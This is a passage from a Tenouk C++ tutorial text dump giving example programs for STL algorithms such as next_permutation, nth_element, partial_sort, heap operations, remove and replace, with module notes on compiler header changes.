deque<CInt> deq1, deq2, deq3;
deque<CInt>::iterator deq1Iter;

deq1.push_back(ci1);
deq1.push_back(ci2);
deq1.push_back(ci3);

cout<<"deque deq1 of CInts data is: ";


for(deq1Iter = deq1.begin(); deq1Iter != --deq1.end(); deq1Iter++)
cout<<" "<<*deq1Iter<<",";
deq1Iter = --deq1.end();
cout<<" "<<*deq1Iter<<endl;

cout<<"\nOperation: next_permutation(deq1.begin(), deq1.end()).\n";


deq1Result = next_permutation(deq1.begin(), deq1.end());
if(deq1Result)
cout<<"The lexicographically next permutation "
<<"exists and has\nreplaced the original "
<<"ordering of the sequence in deq1."<<endl;
else
cout<<"The lexicographically next permutation doesn't "
<<"exist\n and the lexicographically "
<<"smallest permutation\n has replaced the "
<<"ordering of the sequence in deq1."<<endl;

cout<<"\nAfter the next_permutation,\ndeq1 data: ";


for(deq1Iter = deq1.begin(); deq1Iter != --deq1.end(); deq1Iter++)
cout<<" "<<*deq1Iter<<",";
deq1Iter = --deq1.end();
cout<<" "<<*deq1Iter<<endl;

//Permuting vector elements with binary function mod_lesser


vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for(i = -3; i <= 4; i++)
vec1.push_back(i);

file:///C|/Tutorial.txt (554 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nVector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

next_permutation(vec1.begin(), vec1.end(), mod_lesser);


cout<<"After the first next_permutation(), vector vec1 is:\nvec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

int k = 1;
while (k <= 5)
{
next_permutation(vec1.begin(), vec1.end(), mod_lesser);
cout<<"After another next_permutation() of vector vec1,\nvec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1 ++)
cout<<*Iter1<<" ";
cout<<endl;
k++;
}
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, nth_element()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//user defined function, return whether


//first element is greater than the second
bool great(int elem1, int elem2)
{return (elem1 > elem2);}

int main()
{
vector <int> vec;
vector <int>::iterator Iter1;

int i;
for(i = 0; i <= 5; i++)
vec.push_back(i);

int j;
for(j = 10; j <= 15; j++)
vec.push_back(j);

int k;
for(k = 20; k <= 25; k++)
vec.push_back(k);

file:///C|/Tutorial.txt (555 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"vector vec data:\n";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: nth_element(vec.begin(),\nvec.begin()+3, vec.end()).\n";


nth_element(vec.begin(), vec.begin()+3, vec.end());
cout<<"Position 3 partitioned vector vec data:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To sort in descending order, specify binary predicate


cout<<"\nOperation: nth_element(vec.begin(),\nvec.begin()+4, vec.end(),greater<int>()).\n";
nth_element(vec.begin(), vec.begin()+4, vec.end(), greater<int>());
cout<<"Position 4 partitioned (greater) vector vec data:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: random_shuffle(vec.begin(), vec.end()).\n";


random_shuffle(vec.begin(), vec.end());
cout<<"Shuffled vector vec data:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//A user-defined binary predicate...


cout<<"\nOperation: nth_element(vec.begin(),\nvec.begin() + 5, vec.end(), great).\n";
nth_element(vec.begin(), vec.begin() + 5, vec.end(), great);
cout<<"Position 5 partitioned (great) vector data:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, partial_sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//user defined, return whether first


//element is greater than the second
bool great(int elem1, int elem2)
{return elem1 > elem2;}

int main()
{
vector <int> vec1;

file:///C|/Tutorial.txt (556 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vector <int>::iterator Iter1;

//fill up the vector with data...


int i;
for(i = 10; i <= 16; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 5; j++)
vec1.push_back(j);

cout<<"vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: partial_sort(vec1.begin(),\nvec1.begin()+ 5, vec1.end()).\n";


partial_sort(vec1.begin(), vec1.begin() + 5, vec1.end());
cout<<"Partially sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To partially sort in descending order, specify binary predicate


cout<<"\nOperation: partial_sort(vec1.begin(),\nvec1.begin()+4, vec1.end(), greater<int>()).\n";
partial_sort(vec1.begin(), vec1.begin()+4, vec1.end(), greater<int>());
cout<<"Partially resorted (greater) vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//A user-defined binary predicate can also be used


cout<<"\nOperation: partial_sort(vec1.begin(),\nvec1.begin()+8, vec1.end(), great).\n";
partial_sort(vec1.begin(), vec1.begin()+8, vec1.end(), great);
cout<<"Partially resorted (great) vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, partial_sort_copy()
#include <vector>
#include <list>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;

file:///C|/Tutorial.txt (557 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 0; i <= 7; i++)
vec1.push_back(i);

random_shuffle(vec1.begin(), vec1.end());
lst.push_back(6);
lst.push_back(5);
lst.push_back(2);
lst.push_back(3);
lst.push_back(4);
lst.push_back(1);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nList lst data: ";


for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

//Copying a partially sorted copy of lst into vec1


cout<<"\nOperation: partial_sort_copy(lst.begin(),\nlst.end(),vec1.begin(),vec1.begin()+3).\n";
vector <int>::iterator result1;
result1 = partial_sort_copy(lst.begin(), lst.end(), vec1.begin(), vec1.begin()+3);
cout<<"vector vec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"The first vec1 element one position beyond"
<<"\nthe last lst element inserted was "<<*result1<<endl;

//Copying a partially sorted copy of lst into vec2


int j;
for(j = 0; j <= 9; j++)
vec2.push_back(j);

cout<<"\nOperation: random_shuffle(vec2.begin(), vec2.end())\n";


random_shuffle(vec2.begin(), vec2.end());

vector <int>::iterator result2;


cout<<"Operation: partial_sort_copy(lst.begin(),\nlst.end(), vec2.begin(), vec2.begin()+6, greater<int>()).\n";
result2 = partial_sort_copy(lst.begin(), lst.end(), vec2.begin(), vec2.begin()+6, greater<int>());
cout<<"List lst into vector vec2 data: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
cout<<"The first vec2 element one position beyond"
<<"\nthe last lst element inserted was "<<*result2<<endl;
return 0;
}

--------------------------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (558 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//algorithm, partition()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

//user defined...
bool great(int value)
{return value >3;}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: random_shuffle(vec1.begin(), vec1.end()).\n";


random_shuffle(vec1.begin(), vec1.end());
cout<<"Vector vec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Partition the range with predicate great


cout<<"\nOperation: partition(vec1.begin(), vec1.end(), great).\n";
partition(vec1.begin(), vec1.end(), great);
cout<<"The partitioned set of elements in vec1 is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, pop_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec;
vector <int>::iterator Iter1, Iter2;

file:///C|/Tutorial.txt (559 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int i;
for(i = 1; i <= 9; i++)
vec.push_back(i);

//Make vec a heap with default less than ordering


cout<<"Operation: random_shuffle(vec.begin(), vec.end())\n";
random_shuffle(vec.begin(), vec.end());
make_heap(vec.begin(), vec.end());
cout<<"The heaped version of vector vec data:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Add an element to the back of the heap


vec.push_back(11);
push_heap(vec.begin(), vec.end());
cout<<"The reheaped vec data with 11 added:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Remove the largest element from the heap


cout<<"\nOperation: pop_heap(vec.begin(), vec.end()).\n";
pop_heap(vec.begin(), vec.end());
cout<<"The heap vec data with 11 removed is:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Make vec a heap with greater-than ordering with a 0 element


cout<<"\nOperation: make_heap(vec.begin(), vec.end(), greater<int>()).\n";
make_heap(vec.begin(), vec.end(), greater<int>());
vec.push_back(0);
push_heap(vec.begin(), vec.end(), greater<int>());
cout<<"The greater than reheaped vec data puts the\nsmallest element first:";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Application of pop_heap to remove the smallest element


cout<<"\nOperation: pop_heap(vec.begin(), vec.end(), greater<int>()).\n";
pop_heap(vec.begin(), vec.end(), greater<int>());
cout<<"The greater than heaped vec data with the smallest element\nremoved from the heap is: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, prev_permutation()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>

file:///C|/Tutorial.txt (560 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;
}

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()
{
//Reordering the elements of type CInt in a deque
//using the prev_permutation algorithm
CInt ci1 = 10, ci2 = 15, ci3 = 20;
bool deq1Result;
deque<CInt> deq1, deq2, deq3;
deque<CInt>::iterator d1_Iter;

deq1.push_back(ci1);
deq1.push_back(ci2);
deq1.push_back(ci3);

cout<<"deque of CInts data: ";


for(d1_Iter = deq1.begin(); d1_Iter != --deq1.end(); d1_Iter++)
cout<<*d1_Iter<<",";
d1_Iter = --deq1.end();
cout<<*d1_Iter<<endl;

cout<<"\nOperation: prev_permutation(deq1.begin(), deq1.end()).\n";

file:///C|/Tutorial.txt (561 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

deq1Result = prev_permutation(deq1.begin(), deq1.end());


if(deq1Result)
cout<<"The lexicographically previous permutation "
<<"exists and has\nreplaced the original "
<<"ordering of the sequence in deq1."<<endl;
else
cout<<"The lexicographically previous permutation doesn't "
<<"exist\nand the lexicographically "
<<"smallest permutation\nhas replaced the "
<<"original ordering of the sequence in deq1."<<endl;

cout<<"\nAfter one application of prev_permutation(),\ndeq1 data: ";


for(d1_Iter = deq1.begin(); d1_Iter != --deq1.end(); d1_Iter++)
cout<<*d1_Iter<<",";
d1_Iter = --deq1.end();
cout<<*d1_Iter<<endl;

//Permutating vector elements with binary function mod_lesser


vector <int> vec;
vector <int>::iterator Iter1;

int i;
for(i = -4; i <= 4; i++)
vec.push_back(i);

cout<<"\nVector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: prev_permutation(vec.begin(), vec.end(), mod_lesser).\n";


prev_permutation(vec.begin(), vec.end(), mod_lesser);
cout<<"After the first prev_permutation(), vector vec is:\n vec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

int j = 1;
while (j <= 5)
{
prev_permutation(vec.begin(), vec.end(), mod_lesser);
cout<<"After another prev_permutation() of vector vec,\nvec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1 ++)
cout<<*Iter1<<" ";
cout<<endl;
j++;
}
return 0;
}

--------------------------------------G++-----------------------------------------------------

//*******algoiterswap.cpp*******
//algorithm, iter_swap()
#include <vector>
#include <deque>

file:///C|/Tutorial.txt (562 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{ m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{ return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt(" <<rhs.m_nVal<< ")";
return osIn;
}

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()
{
CInt c1 = 9, c2 = 12, c3 = 17;
deque<CInt> deq;
deque<CInt>::iterator deqIter;

deq.push_back(c1);
deq.push_back(c2);
deq.push_back(c3);

cout<<"The deque of CInts data is:\n";


for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Exchanging first and last elements with iter_swap


iter_swap(deq.begin(), --deq.end());

file:///C|/Tutorial.txt (563 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nThe deque of CInts data with first and last\nelements swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Swapping back first and last elements with swap


swap(*deq.begin(), *(deq.end() -1));

cout<<"\nThe deque of CInts data with first and last\nelements re swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Swapping a vector element with a deque element


vector <int> vec;
vector <int>::iterator Iter1;
deque <int> deq1;
deque <int>::iterator deq1Iter;

int i;
for(i = 10; i <= 14; i++)
vec.push_back(i);

int j;
for(j = 16; j <= 20; j++)
deq1.push_back(j);

cout<<"\nVector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nDeque deq1 data: ";


for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;

iter_swap(vec.begin(), deq1.begin());
cout<<"\nAfter exchanging first elements,\nvector vec data is: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl<<"and deque deq1 data is: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
return 0;
}

-------------------------------------------------------------------------------------------------

//******algopartition.cpp*******
//algorithm, partition()
#include <vector>
#include <algorithm>

file:///C|/Tutorial.txt (564 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <iostream>
using namespace std;

//user defined...
bool great(int value)
{return value >3;}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: random_shuffle(vec1.begin(), vec1.end()).\n";


random_shuffle(vec1.begin(), vec1.end());
cout<<"Vector vec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Partition the range with predicate great


cout<<"\nOperation: partition(vec1.begin(), vec1.end(), great).\n";
partition(vec1.begin(), vec1.end(), great);
cout<<"The partitioned set of elements in vec1 is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

============================MODULE36=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.

file:///C|/Tutorial.txt (565 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

//algorithm, push_heap()
//make_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);

random_shuffle(vec1.begin(), vec1.end());

cout<<"Given vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

file:///C|/Tutorial.txt (566 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Make vec1 a heap with default less than ordering


cout<<"\nmake_heap()..."<<endl;
make_heap(vec1.begin(), vec1.end());
cout<<"The default heaped version of vector vec1:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Add elements to the heap


cout<<"\npush_back() some data...\n";
vec1.push_back(11);
vec1.push_back(12);
cout<<"The new heap vec1 with data pushed back:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\npush_heap()...."<<endl;
push_heap(vec1.begin(), vec1.end());
cout<<"The default reheaped vec1 with data added is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Make vec1 a heap with greater than ordering


cout<<"\nmake_heap()..."<<endl;
make_heap(vec1.begin(), vec1.end(), greater<int>());
cout<<"The greater than heaped version of vec1 data:\n ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\npush_back()..."<<endl;
vec1.push_back(0);
cout<<"The greater than heap vec1 with 13 pushed back is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\npush_heap()...."<<endl;
push_heap(vec1.begin(), vec1.end(), greater<int>());
cout<<"The greater than reheaped vec1 with 13 added is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, random_shuffle()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

file:///C|/Tutorial.txt (567 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
cout<<"The original of vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//random shuffle…
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original of vector vec1 random shuffle data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Shuffled once
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Shuffled again
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after another reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, remove()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, new_end;

int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);

int j;

file:///C|/Tutorial.txt (568 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(j = 0; j <= 2; j++)


vec1.push_back(8);

cout<<"Vector vec1 original data: is\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

random_shuffle(vec1.begin(), vec1.end());
cout<<"Vector vec1 random shuffle data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Remove elements with a value of 8


new_end = remove(vec1.begin(), vec1.end(), 8);

cout<<"Vector vec1 data with value 8 removed is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//using erase, to change the sequence size


vec1.erase(new_end, vec1.end());

cout<<"Vector vec1 resized data with value 8 removed is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, remove_copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2(10);
vector <int>::iterator Iter1, Iter2, new_end;

int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);

cout<<"The original vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

file:///C|/Tutorial.txt (569 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Remove elements with a value of 5


new_end = remove_copy(vec1.begin(), vec1.end(), vec2.begin(), 5);

cout<<"Vector vec1 is left unchanged as:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"Vector vec2 is a copy of vec1 with the value 5 removed:\n";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, remove_copy_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

bool greathan(int value)


{ return value >7;}

int main()
{
vector <int> vec1, vec2(14);
vector <int>::iterator Iter1, Iter2, new_end;

int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);

cout<<"The original vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

file:///C|/Tutorial.txt (570 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Remove elements with a value greater than 7


new_end = remove_copy_if(vec1.begin(), vec1.end(),
vec2.begin(), greathan);

cout<<"After the remove_copy_if() the vector,\n"


<<" vec1 is left unchanged as ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"Vector vec2 is a copy of vec1 with values greater "


<<"than 7 removed:\n";
for(Iter2 = vec2.begin(); Iter2 != new_end; Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, remove_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

bool greathan(int value)


{return value >5;}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, new_end;

int i;
for(i = 0; i <= 9; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 2; j++)
vec1.push_back(4);

cout<<"Original vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

random_shuffle(vec1.begin(), vec1.end());
cout<<"Random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Remove elements satisfying predicate greater than


new_end = remove_if(vec1.begin(), vec1.end(), greathan);

cout<<"Vector vec1 with elements greater than 5 removed is:\n";

file:///C|/Tutorial.txt (571 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)


cout<<*Iter1<<" ";
cout<<endl;

//using erase, to change the sequence size,


vec1.erase(new_end, vec1.end());

cout<<"Vector vec1 resized elements greater than 5 removed is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, replace()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for(i = 0; i <= 9; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);

random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Replace elements with other values…


replace (vec1.begin( ), vec1.end( ), 3, 23);
replace (vec1.begin( ), vec1.end( ), 7, 77);
replace (vec1.begin( ), vec1.end( ), 0, 21);

cout<<"The vector vec1 data with values replacement of 0, 3, 7 is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, replace_copy()
#include <vector>
#include <list>

file:///C|/Tutorial.txt (572 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
